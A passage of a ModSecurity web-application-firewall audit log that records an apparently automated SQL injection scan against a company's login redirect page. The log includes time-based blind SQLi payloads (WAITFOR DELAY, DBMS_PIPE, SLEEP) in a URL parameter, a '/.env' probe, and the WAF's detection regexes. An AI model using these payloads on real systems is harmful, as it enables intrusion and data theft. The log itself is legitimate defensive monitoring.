max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d941423a531b80289470d5d537bf1bd1750023596; expires=Sun, 15 Jun 2025 22:39:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --be588118-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/en/.env"] [unique_id "aE89q_kun2jazaBvM9tuOAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023595709187 653473 (- - -) Stopwatch2: 1750023595709187 653473; combined=1917, p1=349, p2=1452, p3=0, p4=0, p5=115, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --be588118-Z-- --ea508774-A-- [16/Jun/2025:03:09:56.622374 +0530] aE89rLsEVBap6l1Fvp1AQAAAAAQ 172.71.246.73 38128 127.0.0.1 7081 --ea508774-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.246.73 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539135a1e2bfa-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --ea508774-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;WAITFOR%20DELAY%200:0:5-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --ea508774-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now';waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rLsEVBap6l1Fvp1AQAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rLsEVBap6l1Fvp1AQAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rLsEVBap6l1Fvp1AQAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now';waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rLsEVBap6l1Fvp1AQAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023596362717 259760 (- - -) Stopwatch2: 1750023596362717 259760; combined=3929, p1=335, p2=3399, p3=0, p4=0, p5=195, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea508774-Z-- --6d6e2908-A-- [16/Jun/2025:03:09:57.566382 +0530] aE89rdkGqt_oHz6gRVdJLQAAAAw 172.71.164.220 38190 127.0.0.1 7081 --6d6e2908-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2870%29%7C%7CCHR%28106%29%7C%7CCHR%2872%29%7C%7CCHR%2867%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.220 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505391c0a30d284-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --6d6e2908-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --6d6e2908-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rdkGqt_oHz6gRVdJLQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023597511837 54636 (- - -) Stopwatch2: 1750023597511837 54636; combined=3130, p1=371, p2=2651, p3=0, p4=0, p5=108, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d6e2908-Z-- --65ea2e3f-A-- [16/Jun/2025:03:09:57.888964 +0530] aE89rYrLgrklqy57Kk2cXQAAAAg 172.71.172.231 38210 127.0.0.1 7081 --65ea2e3f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2870%29%7C%7CCHR%28106%29%7C%7CCHR%2872%29%7C%7CCHR%2867%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.231 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505391e1b9ed345-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --65ea2e3f-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --65ea2e3f-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rYrLgrklqy57Kk2cXQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023597841900 47156 (- - -) Stopwatch2: 1750023597841900 47156; combined=3142, p1=336, p2=2695, p3=0, p4=0, p5=111, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65ea2e3f-Z-- --23bdea38-A-- [16/Jun/2025:03:09:58.201698 +0530] aE89rnZqyQ8YfVGvJU7Y2AAAAAY 172.70.248.99 38240 127.0.0.1 7081 --23bdea38-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2870%29%7C%7CCHR%28106%29%7C%7CCHR%2872%29%7C%7CCHR%2867%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505392009557093-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --23bdea38-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --23bdea38-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rnZqyQ8YfVGvJU7Y2AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023598150557 51231 (- - -) Stopwatch2: 1750023598150557 51231; combined=4689, p1=354, p2=4198, p3=0, p4=0, p5=137, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23bdea38-Z-- --4db08d4d-A-- [16/Jun/2025:03:09:58.764034 +0530] aE89rh-kH31pk4mNbsU_RAAAAAo 172.71.172.115 38258 127.0.0.1 7081 --4db08d4d-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2870%29%7C%7CCHR%28106%29%7C%7CCHR%2872%29%7C%7CCHR%2867%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.115 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539220a8ad379-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --4db08d4d-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --4db08d4d-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL found within MATCHED_VAR: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL found within MATCHED_VAR: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rh-kH31pk4mNbsU_RAAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_campaign: login-now';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(106)||CHR(72)||CHR(67),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89rh-kH31pk4mNbsU_RAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023598711812 52327 (- - -) Stopwatch2: 1750023598711812 52327; combined=5606, p1=481, p2=4972, p3=0, p4=0, p5=153, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4db08d4d-Z-- --4e06a372-A-- [16/Jun/2025:03:09:59.321918 +0530] aE89r4l8S04UZ4l67-nekwAAAAk 162.158.95.248 38306 127.0.0.1 7081 --4e06a372-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%20%28SELECT%204997%20FROM%20%28SELECT%28SLEEP%285%29%29%29UNoa%29%20AND%20%283080%3D3080 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.248 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505392589959f37-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --4e06a372-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --4e06a372-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (3080=3080 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and (select 4997 from (select(sleep(5)))unoa) and (3080=3080"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match 